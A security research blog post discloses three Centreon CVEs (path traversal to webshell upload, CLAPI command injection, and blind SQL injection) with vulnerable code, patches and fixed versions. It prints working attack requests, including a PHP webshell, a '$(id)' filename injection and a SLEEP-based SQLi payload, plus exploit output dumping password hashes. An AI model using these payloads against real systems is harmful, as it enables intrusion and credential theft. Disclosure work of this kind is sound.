> ## Content Index
> Fetch the complete content index at: https://yokai.hakaisecurity.io/llms.txt
> Use this file to discover other available public pages before exploring further.

# [EN] Deep Looking into Centreon
- URL: https://yokai.hakaisecurity.io/en-deep-looking-into-centreon/
- Published: 2026-03-06T20:49:18.000Z
- Updated: 2026-09-08T16:41:02.000Z
- Author: gabriel rodrigues
- Tags: Research Blog, #wp, en, #pair-centreon

#### Summary

In this research, three critical vulnerabilities were identified in Centreon Web and the Centreon Open Tickets module, allowing everything from full database extraction via SQL Injection to remote command execution on the server through a Path Traversal vulnerability in the file upload functionality and a Command Injection vulnerability. Exploitation requires only an authenticated session, without the need for administrative privileges, and allows an attacker to compromise the monitoring environment.

The vulnerabilities were reported to Centreon, which acknowledged the issues and released fixes for all affected versions, resulting in three CVEs: CVE-2026-2749, CVE-2026-2751, and CVE-2026-2750.

#### Impact

Centreon is a monitoring platform used by organizations to track servers, networks, applications, and services in real time.

Each of the three vulnerabilities can be exploited independently, ranging from extracting database credentials via SQL Injection, to executing commands through CLAPI, and even directly uploading a webshell using Path Traversal, provided the attacker possesses a valid application user account.

According to information published on Centreon’s own website, the software is used by more than 250,000 users worldwide, with over 80 companies actively adopting the platform in their environments.

![](https://hakaisecurity.io/wp-content/uploads/2026/03/image.png)

---

#### CVE-2026-2749

The first vulnerability found was a Path Traversal in the Open Tickets module, specifically in the file upload endpoint. The flaw is in the `uniqId` parameter, which is taken directly from `$_REQUEST` without any sanitization and concatenated into the file destination path.

The vulnerable code in `uploadFile.php` contained the following lines:

```php
$uniq_id = $_REQUEST['uniqId'];
$file_dst = $dir . '/opentickets/' . $uniq_id . '__' . $file['name'];
@mkdir($dir . '/opentickets', 0750);
rename($file['tmp_name'], $file_dst);
```

Since `$dir` resolves to `/tmp`, the final file path becomes `/tmp/opentickets/{uniqId}__{filename}`. If an attacker send `uniqId=../../usr/share/centreon/www/rce`, the resulting path will be:

```text
/tmp/opentickets/../../usr/share/centreon/www/rce__cmd.php
```

Which normalizes to `/usr/share/centreon/www/rce__cmd.php` directly inside Apache's document root. With this, any authenticated user can write a PHP webshell to the webroot.

The first step is uploading the webshell using the path traversal in `uniqId`:

```http
POST /centreon/modules/centreon-open-tickets/views/rules/ajax/call.php?action=upload-file&uniqId=../../usr/share/centreon/www/rce HTTP/1.1
Cookie: PHPSESSID=<valid_session>
Content-Type: multipart/form-data; boundary=----x

------x
Content-Disposition: form-data; name="file"; filename="cmd.php"
Content-Type: application/octet-stream

<?php system($_GET['c']); ?>
------x--
```

![](https://yokai.hakaisecurity.io/content/images/hakaisecurity-io/wp-content/uploads/2026/03/lfi1-1.png)

The response confirms the upload was successful:  

```json
{"code":0,"msg":"ok"}
```

The webshell can now be accessed directly through the web interface, without requiring any authentication.

```http
GET /centreon/rce__cmd.php?c=id HTTP/1.1
```

![](https://yokai.hakaisecurity.io/content/images/hakaisecurity-io/wp-content/uploads/2026/03/lfi2-1.png)

```text
uid=33(www-data) gid=33(www-data) groups=33(www-data),991(centreon-gorgone),992(centreon),993(centreon-engine),994(centreon-broker)
```

A script was developed to automate the exploitation of the vulnerability:

https://github.com/hakaioffsec/Centreon-Exploits-2026/blob/main/CVE-2026-2749/pathtraversal\_rce.py

```bash
$ python3 pathtraversal_rce.py --url http://target/centreon --cookie PHPSESSID --cmd "id"

╔════════════════════════════════════════════╗
║  Centreon Path Traversal to RCE (Upload)   ║
║           CVE-2026-2749                    ║
║         Centreon <= 25.10.6                ║
║       https://hakaisecurity.io             ║
╚════════════════════════════════════════════╝

[1] Uploading webshell via path traversal...
    Upload successful
[2] Executing: id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

[+] RCE CONFIRMED — http://target/centreon/rce__cmd.php?c=COMMAND
```

#### How it was fixed

The patch introduced three protection mechanisms. The first measure was the implementation of validation for the **uniqId** parameter using a regular expression, which now only accepts hexadecimal values with exactly 13 characters.

```php
$uniq_id = $_REQUEST['uniqId'] ?? '';
if (! preg_match('/^[a-f0-9]{13}(\.[0-9]{8})?$/D', $uniq_id)) {
    $resultat = ['code' => 1, 'msg' => 'Invalid uniqId format.'];
    return;
}
```

The filename is sanitized using the `basename()` function, along with additional validations designed to reject control characters and excessively long names. Before the file is written, the `realpath()` function is used to verify that the final destination resolves to a path within the` /tmp/opentickets/` directory, preventing directory traversal attempts. Finally, the `rename()` function was replaced with the `move_uploaded_file()` function, which internally validates that the source is a legitimate upload.

The `removeFile.php` component received the same hardening measures, including the addition of a session validation mechanism to ensure that the `unlink()` function can only be executed on files previously registered by the same user.

---

#### CVE-2026-2750

The second vulnerability is an OS command injection through the CLAPI `generatetraps` action. The issue is in the `generatetraps()` method of `centreonManufacturer.class.php`, where the user-supplied MIB file path is passed directly to `passthru()`.

The vulnerable code:  

```php
public function generatetraps($parameters = null): void
{
    $params = explode($this->delim, $parameters);
    $mibFile = $params[1];
    $tmpMibFile = '/tmp/' . basename($mibFile);
    // ...
    passthru("export MIBS=ALL && {$centreonDir}/bin/snmpttconvertmib --in={$tmpMibFile} --out={$tmpMibFile}.conf");
    passthru("{$centreonDir}/bin/centFillTrapDB -f {$tmpMibFile}.conf -m {$vendorId}");
}
```

The `basename()` function only strips directory components like `../`. but it does not sanitize shell metacharacters. As a result, constructs like `$()` remain intact and can still be interpreted by the shell. So `basename("/tmp/opentickets/t__$(id).mib")` returns `t__$(id).mib` and `$(id)` will be expanded by the shell when passed to `passthru()` function.

The exploitation occurs in two steps. First, a file is uploaded via Open Tickets with a filename containing shell metacharacters.

```http
POST /centreon/modules/centreon-open-tickets/views/rules/ajax/call.php?action=upload-file&uniqId=t HTTP/1.1
Cookie: PHPSESSID=<session>
Content-Type: multipart/form-data; boundary=----x

------x
Content-Disposition: form-data; name="file"; filename="$(id).mib"
Content-Type: application/octet-stream

-- dummy MIB
------x--
```

![](https://hakaisecurity.io/wp-content/uploads/2026/03/command1-1.png)

This creates the file `/tmp/opentickets/t__$(id).mib`. Then, we trigger `generatetraps` via CLAPI pointing to that file:

```http
POST /centreon/api/internal.php?object=centreon_clapi&action=action HTTP/1.1
Cookie: PHPSESSID=<session>
Content-Type: application/json

{"action":"generatetraps","object":"VENDOR","values":"Cisco;/tmp/opentickets/t__$(id).mib"}
```

![](https://hakaisecurity.io/wp-content/uploads/2026/03/command2-1.png)

When `passthru()` executes the command, the shell expands `$(id)` and the result appears reflected in the `snmpttconvertmib` error message.

The automated script:

[https://github.com/hakaioffsec/Centreon-Exploits-2026/blob/main/CVE-2026-2750/cmdi\_rce.py](https://github.com/hakaioffsec/Centreon-Exploits-2026/blob/main/CVE-2026-2750/cmdi%5Frce.py?ref=yokai.hakaisecurity.io)

```bash
$ python3 cmdi_rce.py --url http://target/centreon --cookie PHPSESSID --cmd "id"

╔════════════════════════════════════════════╗
║   Centreon CMDi via CLAPI generatetraps    ║
║           CVE-2026-2750                    ║
║         Centreon <= 25.10.6                ║
║       https://hakaisecurity.io             ║
╚════════════════════════════════════════════╝

[1] Testing with $(sleep 1)...
    3.1s — RCE CONFIRMED

[2] Executing: id
    uid=33(www-data)
```

#### How it was fixed

To address the issue, the vendor added the` escapeshellarg()` function to all arguments passed to `passthru()`, sanitizing user-supplied input and mitigating command injection.

```php
$escapedMibFile = escapeshellarg($tmpMibFile);
$escapedMibConfFile = escapeshellarg($tmpMibFile . '.conf');
$escapedVendorId = escapeshellarg((string) $vendorId);

passthru("export MIBS=ALL && {$centreonDir}/bin/snmpttconvertmib --in={$escapedMibFile} --out={$escapedMibConfFile}");
passthru("{$centreonDir}/bin/centFillTrapDB -f {$escapedMibConfFile} -m {$escapedVendorId}");
```

According to the https://www.php.net/manual/en/function.escapeshellarg.php, `escapeshellarg()` *"adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument"*. Thus, applying this function when constructing the command prevents the injection of malicious arguments, effectively mitigating the identified command injection vulnerability.

---

#### CVE-2026-2751

The third vulnerability is a time-based blind SQL injection on the Service Dependencies page. The injection happens in the **keys** of the `select[]` array sent via POST.

The `getSelectOption()` function returns the `$_POST['select']` array. The consuming code applies `filter_var_array`, which validates the array **values** but completely ignores the **keys**. These keys are then passed as `$key` in a `foreach` and concatenated directly into SQL queries.

The vulnerable code in `DB-Func.php`:

```php
function deleteServiceDependencyInDB($dependencies = [])
{
    global $pearDB, $oreon;
    foreach ($dependencies as $key => $value) {
        $pearDB->query("SELECT dep_name FROM `dependency` WHERE `dep_id` = '" . $key . "' LIMIT 1");
        $pearDB->query("DELETE FROM dependency WHERE dep_id = '" . $key . "'");
    }
}
```

The **$key** value is derived directly from the keys of **$\_POST\['select'\]**, which are entirely user-controlled through the key of the **select\[\]** array.

```http
POST /centreon/main.get.php?p=60409 HTTP/1.1
Cookie: PHPSESSID=<session>
Content-Type: application/x-www-form-urlencoded

o=d&centreon_token=<TOKEN>&select[0' UNION SELECT CASE WHEN (1=1) THEN SLEEP(2) ELSE 0 END-- ]=1
```

![](https://yokai.hakaisecurity.io/content/images/hakaisecurity-io/wp-content/uploads/2026/03/sql-1.png)

If the condition `1=1` evaluates to true, the application response is delayed by two seconds due to the execution of the `SLEEP(2)` function. If the condition evaluates to false, the response is returned immediately without any delay. By observing these timing differences, it is possible to infer whether a given condition is true or false.

Using this time-based blind SQL injection technique, an attacker can systematically extract arbitrary information from the database. By crafting conditional queries and measuring the response time, data such as database names, table structures, and sensitive records can be retrieved one character at a time.

With the automated script below, it's possible to extract all Centreon usernames and bcrypt password hashes:

[https://github.com/hakaioffsec/Centreon-Exploits-2026/blob/main/CVE-2026-2751/sqli\_dump.py](https://github.com/hakaioffsec/Centreon-Exploits-2026/blob/main/CVE-2026-2751/sqli%5Fdump.py?ref=yokai.hakaisecurity.io)

```bash
$ python3 sqli_dump.py --url http://target/centreon --cookie PHPSESSID

╔════════════════════════════════════════════╗
║    Centreon Blind SQLi via Array Keys      ║
║           CVE-2026-2751                    ║
║         Centreon <= 25.10.6                ║
║       https://hakaisecurity.io             ║
╚════════════════════════════════════════════╝

[*] Testing injection...
[+] SQL Injection confirmed

[*] Dumping all users and password hashes...

    user: admin
    hash: $2y$10$6rn1CoyTBTNQmRCocx7PjO0Fse13Ay2AyRqX5Ypy38u9RJ2Tv94xG
  => admin:$2y$10$6rn1CoyTBTNQmRCocx7PjO0Fse13Ay2AyRqX5Ypy38u9RJ2Tv94xG

    user: centreon-gorgone
    hash: $2y$10$kkzXe5m1mCe1WhU7MHh//e4k2vj2JlSH3bIvUSGKa9A5ToVEI2gTe
  => centreon-gorgone:$2y$10$kkzXe5m1mCe1WhU7MHh//e4k2vj2JlSH3bIvUSGKa9A5ToVEI2gTe
```

#### How it was fixed

The fix replaced direct SQL concatenation with prepared statements that enforce explicit parameter types, ensuring that user-supplied input is properly handled as data rather than executable SQL code. This change prevents attackers from injecting malicious SQL fragments into the query, effectively mitigating the SQL injection vulnerability.

```php
function deleteServiceDependencyInDB($dependencies = [])
{
    global $pearDB, $oreon;
    $selectStatement = $pearDB->prepare(
        'SELECT dep_name FROM `dependency` WHERE `dep_id` = :dep_id LIMIT 1'
    );
    $deleteStatement = $pearDB->prepare(
        'DELETE FROM dependency WHERE dep_id = :dep_id'
    );
    foreach (array_keys($dependencies) as $key) {
        $selectStatement->bindValue(':dep_id', (int) $key, PDO::PARAM_INT);
        $selectStatement->execute();
        $row = $selectStatement->fetch();
        if ($row === false) { continue; }

        $deleteStatement->bindValue(':dep_id', (int) $key, PDO::PARAM_INT);
        $deleteStatement->execute();
        $oreon->CentreonLogAction->insertLog('service dependency', $key, $row['dep_name'], 'd');
    }
}
```

With prepared statements, the database engine treats the supplied value strictly as data rather than as part of the SQL query itself, preventing it from being interpreted as executable SQL code.

---

#### Fixed versions

- Centreon Open Tickets 25.10.3, 24.10.8, 24.04.7
- Centreon Web 25.10.8, 24.10.20, 24.04.24

#### Conclusion

The combined exploitation of the three identified vulnerabilities successfully enabled remote code execution on the server and full extraction of the application’s database, including users and their respective password hashes. According to information available on Centreon’s official website, the platform has more than 250,000 active users, highlighting the significant potential impact if these flaws were exploited in real-world environments. As part of this research, three Python scripts were also developed to automate the exploitation process. The exploits were publicly released in Hakai’s GitHub repository:

[https://github.com/hakaioffsec/Centreon-Exploits-2026](https://github.com/hakaioffsec/Centreon-Exploits-2026?ref=yokai.hakaisecurity.io)

As a mitigation measure, it is recommended to immediately update Centreon and its modules to versions that include the security fixes released by the vendor.

#### References

- https://www.cve.org/cverecord?id=CVE-2026-2749
- https://www.cve.org/cverecord?id=CVE-2026-2750
- https://www.cve.org/cverecord?id=CVE-2026-2751
- https://thewatch.centreon.com/latest-security-bulletins-64/cve-2026-2749-centreon-open-tickets-critical-severity-5493
- https://thewatch.centreon.com/latest-security-bulletins-64/cve-2026-2750-centreon-web-critical-severity-5503
- https://thewatch.centreon.com/latest-security-bulletins-64/cve-2026-2751-centreon-web-high-severity-5504
- https://github.com/hakaioffsec/Centreon-Exploits-2026